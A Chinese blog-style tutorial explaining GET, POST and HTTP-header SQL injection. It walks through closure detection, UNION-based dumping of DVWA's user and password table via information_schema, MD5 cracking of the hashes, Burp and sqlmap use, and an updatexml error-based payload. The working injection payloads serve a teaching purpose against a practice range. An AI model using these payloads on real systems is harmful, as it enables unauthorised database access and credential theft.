SQL注入详细讲解概括-GET注入、POST注入、HEAD注入

SQL注入详细讲解概括-GET注入、POST注入、HEAD注入

1、SQL注入流程

2、GET注入

3、POST注入

4、HEAD注入

---

一、SQL注入流程

　　1、SQL注入流程

　　· 寻找注入点—与数据库交互的地方，比如登录框，搜索框、URL地址栏、登陆界面、留言板等等

　　· 判断是否存在注入点，判断数据库类型，确定注入方法

　　· 构造特殊语句，查询数据库数据

二、GET注入

　　1、What is GET注入

　　要搞懂GET注入之前，先搞懂什么是GET传参。

　　GET传参：用户输入的内容参数会被传到地址栏（URL栏），是通过GET的方式进行传参

　　· 特点：传参内容可见，传参长度有限，标识“？”，输入的内容会可能被url编码

　　GET注入：通过GET传参的方式，传输恶意语句，进行SQL注入

　　

　　2、如何进行GET注入

　　一般情况判断为传参方式为GET传参方式，首先进行GET注入测试，判断是否存在GET注入

　　如何判断是否存在GET注入：要想知道是否存在，首先搞原理，弄清楚是如何发生的

　　简单说，原本程序要执行的代码拼接了用户输入的数据然后执行，就是本来用户输入的数据是要被查询的，但是被数据库当作代码执行

　　OK，AND，只需知道输入的数据有没有被数据库当作代码，可以判断存不存在注入点

　　AND，用户输入的数据一定不是输入everying都行的，如果用户随便输入的数据都被当做代码执行，那么这个网站就失去了它的功能，这是网站开发者不允许的

　　SO，要输入什么数据才能被判断是否存在注入点呢

　　先来看一段代码　

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id

用户输入参数传入$id  

来输入1  >>>>  $id=1    >>> sql语句就变成了下面这样
$query  = "SELECT first_name, last_name FROM users WHERE user_id = 1

ok，look look 现在数据库收到的数据是这样的，，
SELECT first_name, last_name FROM users WHERE user_id = 1

AND，输入什么能够让数据库执行一些别的操作
思考ing time（3min）

当然是数据库语言了，，，试一试  or  怎么样
ok，， >>>  1 or 1=1 >>> $id=1 or 1=1

SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1

输入的内容当作代码执行了  //这个叫做整形闭合

　　　　在来看一段，这次 把变量用引号引起来，用单引号or用双引号，是不一样的破解方法

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
上面双引号里的是要被传入数据库执行的

first，输入的数据被传入$id这个变量

ok，那么输入一个 1	，$id=1  and 此语句就变成了：

SELECT first_name, last_name FROM users WHERE user_id = '1'

那么要怎么做才能变成输入的数据变成代码执行呢？
思考ing  time（5min）

ok，无论输入什么数据他都在引号里，那输入的数据就没有任何意义对吧，
那就来突破引号，如何突破

，，look here 》》 1' or 1=1 '  》》 $id=1' or 1=1 '   拼接试一试

SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 ''
FUCK，，有问题了，，不一样了    //这个叫做单引号闭合

那么再来思考一个问题，当变量用双引号引起来怎么办，不是没用引号，也不是单引号
思考ing  time（2min）

ok,easy   那就用双引号破解呗

SELECT first_name, last_name FROM users WHERE user_id = "$id"

look here  》》》  1" or 1=1 " 》》》 $id=1" or 1=1 "

SELECT first_name, last_name FROM users WHERE user_id = "1" or 1=1 ""

success，easy    //这个叫做双引号闭合

　　OK，上面是能看到后端代码的，哪个网站愿意让你看到他的后端代码，It won't

　　AND，看不到源码，怎么进行注入呢

　　so easy , 通过传入的恶意代码，观察页面情况 ，是否正常等，来判断是否存在注入点，确定注入方法

　　首先我们找到传参点，进行注入 尝试 ，首先判断闭合类型

　　SQL语句的闭合类型：整型闭合、单引号闭合、双引号闭合、单引号加括号、双引号加括号

　　· 整形闭合　

1	SELECT * FROM admin WHERE id=1;   //整形闭合

　　模拟注入

　　?id=1'   =>  报错

　　?id=1''  =>  报错

　　判断为整形闭合

　　· 单引号闭合　

1	SELECT * FROM admin WHERE id=‘1’；  //单引号闭合

　　模拟注入

　　?id=1'  =>  报错

　　?id=1'' =>  正常返回id=1的值

　　判断为单引号或者单引号括号闭合

　　任何闭合方式都这样在没有遇到相对应的闭合时，都会把这个符号当作一个整体，注释符也不例外

　　再次模拟注入

　　?id=1'-+  =>  无报错 => 单引号闭合

　　?id=1'-+  =>  报错  =>  单引号括号闭合

　　· 双引号闭合　

1	SELECT * FROM admin WHERE id="1";  //双引号闭合

　　?id=1'  => 正常返回id=1的值

　　?id=1" => 报错

　　判断为双引号闭合或者双引号括号闭合

　　再次模拟注入

　　?id=1"-+  => 无报错 => 双引号闭合

　　?id=1"-+ => 报错  =>  双引号括号闭合

　　· 总结

　　判断闭合类型

　　首先尝试：?id=1'

　　　　　　　?id=1"

　　不报错 =>  整形闭合

　　报错   =>  单引号报错 ，双引号不报错 => 尝试 ?id=1'-+  =>  无报错单引号闭合，报错单引号加括号闭合

　　报错  =>  单引号不报错，双引号报错  =>  尝试 ?id=1"-+  =>  无报错双引号闭合，报错双引号加括号闭合

　　

　　注入点找到，确定闭合方式开始进行注入攻击，以DVWA靶场为例

　　First，观察url栏 判断为GET传参，先进行正常内容输入，输入1 ，看返回结果

　　

　　第二步，测试是否存在注入，进行恶意语句测试，不知道闭合类型，先从整形闭合开始判断 1 and 1=1

　　

　　页面正常，与id=1 时返回的内容一样  不确定是否注入成功，因为and 1=1 恒成立 所以还得进行第二次判断，1 and 1=2

　　

　　页面正常，与id=1 时返回的内容一样，and 1=2 是恒不成立的，如果数据库执行了代码那么应该是没有数据返回的，现在返回了数据，so，不是整形闭合

　　ok，既然不是整形闭合，那么去尝试是不是单引号闭合，输入   1'，，，把错误显示出来了，说明是单引号闭合，既存在注入，又确定是单引号闭合，那么可以进行注入了。AND，我输入的是1'  为什么url的传参是1%27，这是因为get传参会被url编码，这个引号被url编码了，HTTP请求GET请求一般要进行URL编码，为什么呢，这是为了防止URL中的参数和HTTP中的一些参数冲突，导致奇异。

　　

　　OK，下面开始SQL注入

　　First，已经找到注入点，判断出闭合类型，开始 通过恶意语句来获取数据库信息

　　第一步，猜解字段数，用到语法：order by  X   当X大于字段数就会显错，小于或等于正常返回页面

　　通过order by语句查出当前表有两个字段，为什么要先查字段数？ 思考ing time（1min）

　　answer >>>>  因为下面要想查数据库其他的内容，不可能再用当前表吧，得通过联合查询吧，那么联合查询的必要条件>>>多个表的字段数必须相同

　　

　　第二步，判断显位，why？ 

　　answer >>>一个表可能有多个字段，但是我们页面上看到的可能并不是表的字段的全部，开发者可能页面内容只输出指定的那几个字段，那是不是我们就看不到其他的字段呢，so，页面显示并不一定是全部字段。那我们就要判断出字段显位，同时也输出另一个表同样的显位，这样查询的信息才可能通过 显位 输出到页面。

　　HOW？

　　answer>>>有的网站，会规定这个显位，输出的数据指定是多少，如果开发者指定只能输出一条数据，那么联合查询好像也没什么作用了，因为联合查询是先输出前面表的数据，我们需要的是后面的表的数据，有遇到难题了。。。思考ing time（2min）

　　ok，用联合查询，当一个表里没有查询到数据，那么不输出这个表的数据，，，，可不可以，前面的表不输出数据呢。。of course

　　1.111111111111，1，998787，6.37176，90000.88877，，，，这些数据数据库里可以说是百年不会见吧，那我们去查他，是不是空？？ of course

　　ok，构建恶意语句>>>> 1.11114434' union select 1,2 #

　　

　　如上图，从第一步得知有两个字段，用来判显位，两个字段内容全部显示，当然这种情况的概率是非常小的

　　ok，显位判断完毕

　　第三步，查询当前数据库

　　HOW？思考ing time（1min）

　　database（）函数

1.7274972' union select 1,database() #

　　

　　ok，显位已经判断完毕，下面才是刚刚开始

　　第三步，对数据库里的库，表，字段，数据进行查询

　　HOW？

　　First，需要了解数据库，此靶场的数据库是MySQL，后续会写怎么识别数据库，常见数据库太多了，Oracle Database甲骨文公司、SQL Server微软公司、DB2IBM公司、PostgreSQL开源、MySQL开源、Access微软等等

　　mysql在5.0以上版本加入了information_schema这个系统自带库，其中保存着关于mysql服务器所维护的其他数据信息，如数据库名，数据库的表，表栏的数据类型与访问权限，，这个库非常牛，，数据库所有的 库，表，字段的位置在这张表里都能找到

　　information_scheam这个库下面有几个非常重要的表，必须知道的：

　　information_schema.schemata  >>> 这个表保存了所有数据库里的库的信息

　　

　　information_schema.tables  >>>  这个表保存了数据库里所有表的信息

　　

　　information_schema.columns  >>> 这个表保存了数据库里所有的字段信息

　　

　　AND，，

　　column_name 字段名

　　table_name 表名

　　schema_name 库名

　　OK，基础知识已简单了解，怎么取通过这些知识注入呢，

　　思考ing  time（5min）

　　OK，Time out，，，

　　Look here  >>>  上一步知道了联合查询，对不对，要查询数据库信息需要知道表名呀，现在已经知道了系统自带库、自带表，而且通过这几张表我们可以得到数据库任何数据

　　OK，那下面就easy了，，，构建恶意语句，先看看，当前库存在哪些表

1.2223' union select 1,table_name from information_schema.tables where table_schema=database()  #

　　>>>

　　

　　OK，当前数据库下的表's name有已经拿到，，定睛一看，，users，，这个表有点可疑呀，，user什么意思>>用户   

　　 SO，我们来看一下users表里有什么东西，来，上恶意代码

1.2333' union select 1,column_name from information_schema.columns where table_schema=database() and table_name='users'  #

　　>>>　

　　OK，字段名已经获取了，是不是有两个非常重要的数据>>>user  \   password

　　SO，获取user and password 两个字段的数据   ，，，>>>  恶意代码，，，上

1.647' union select user,password from dvwa.users #

　　>>>

　　

　　WC，NB，信息都出来，蓝框时用户名，绿框时密码，但仔细一看有点不对，，哪里不对

　　password被加密了，MD5加密，，百度搜MD5解密，，把密码解出来，，so  easy

三、POST注入

　　1、What is POST注入

　　要搞懂POST注入，先搞懂POST传参

　　POST传参：用户输入的内容被隐藏了起来，地址栏看不到

　　特点：传参内容不可见，传参长度无限制

　　POST注入：通过POST传参的方式，传输恶意语句，进行SQL注入，本质和GET注入是一样的

　　

　　如上图，所示，没有输入地方，只有选项框，最重要的一点是，地址栏不可见传参内容

　　WC，这怎么搞，这怎么进行传参，TMD不按套路来

　　那好吧，来搬个救兵吧  >>>>>  BURP  

　　BURP来抓个包吧，既然地址栏不能显示传参内容，抓包总可以吧

　　

　　

　　OK，，来来来，，传参内容出现了吧，，

　　那就在burp里测试吧

　　剩下的步骤就和GET注入一模一样了，修改传参内容

　　OK，还是判断闭合类型，这里判断是整形闭合 >> 判断字段数 >> 判断显位 >> 查询数据库数据      so easy

　　直接给出结果

　　OK，很简单吧，再来一个全自动好不好，用工具Sqlmap来做，不懂原理用工具叫做Very low-end script boy 当我们懂了原理用工具那么我们就是 increase of efficiency

　　 OK，GET注入 AND  POST注入 到这就差不多了，是不是很简单，这是最基础的，一般网站可不会这么容易，讲这个只是一个入门，告诉大家SQL注入是如何发生的，从而更好 理解高级的SQL注入，一般网站会做很多防护和过滤，，比如过滤敏感字，像and/or/#/'/"  等等这些敏感字符很容易被网站过滤和拦截，，当然了，防护还有很多高级的防护，破解也有很多高级的破解

四、HEAD注入

　　1、HEAD注入原理

　　在传参的时候，将我们的数据构建在http头部

　　利用了php的全局变量$_server获取用户的相关信息且将数据存入数据库，利用updatexml函数输入sql语句，返回信息

　　通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机的响应消息。这两种类型的消息由一个起始行，一个或者多个头域，一个只是头域结束的空行和可选的消息体组成。HTTP的头域包括通用头，请求头，响应头和实体头四个部分。每个头域由一个域名，冒号（:）和域值三部分组成。域名是大小写无关的，域值前可以添加任何数量的空格符，头域可以被扩展为多行，在每行开始处，使用至少一个空格或制表符。

　　2、PHP超全局变量

　　超全局变量

　　php中许多预定义变量都是超全局变量，这意味着它们在一个脚本的全部作用域中都可用　　

　　$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了
　　$_POST(获取POST传参)
　　$_GET(获取GET传参)
　　$_COOKIE(获取COOKIE传参)
　　$_SERVER(包含了诸如头信息（header）、路径（path）、以及脚本位置（script locations）等等信息的数组)
　　$_SERVER['HTTP_REFERER']获取referer请求头数据
　　$_SERVER["HTTP_USER_AGENT"]获取用户相关信息，包括用户浏览器、操作系统等信息
　　$_SERVER["REMOTE_ADDR"]浏览网页的用户ip

　　User-Agent：服务器获取客户的操作系统，浏览器版本等，有些网站中会将获取的信息存入数据库中

　　Cookie：身份信息、进行 session 跟踪而储存在用户本地终端上的数据，一般会加密.

　　X-Forwarded-For：XFF头，代表客户端，HTTP的请求端真实的IP，有些网站的防注入功能会记录请求端真实IP地址并写入数据库，修改XXF头可虚假IP

　　Rerferer：浏览器告诉WEB 服务器是从哪个页面链接过来的.

　　Host：客户端指定访问的WEB服务器的域名/IP 地址和端口号

　　

　　3、updatexml()函数

　　updatexml() 更新xml文档的函数

　　语法：updatexml(目标xml内容，xml文档路径，更新xml内容)

　　OK，这里看上去是去更新了xml文档，实际上在xml文档路径的位置写了子查询语句，然后输入特殊字符，之后因为不符合输入规则报错了，其实在报错的时候已经执行l子查询语句

　　【xml文档路径 填写 ：0x7e】

　　concat()是拼接字符串函数

updatexml(1,concat(0x7e,(select database()),0x7e),1)

　　why? 0x7e是16进制，MySQL字符串是支持十六进制的，有个前提：开头须写0x ，这就是告诉MySQL下面要开始十六进制了。而7e才是十六进制的内容，7e是个特殊符号，一定不符合路径规则

　　OK，今天的就先到这里，断更了好久，今天多写点，最后感恩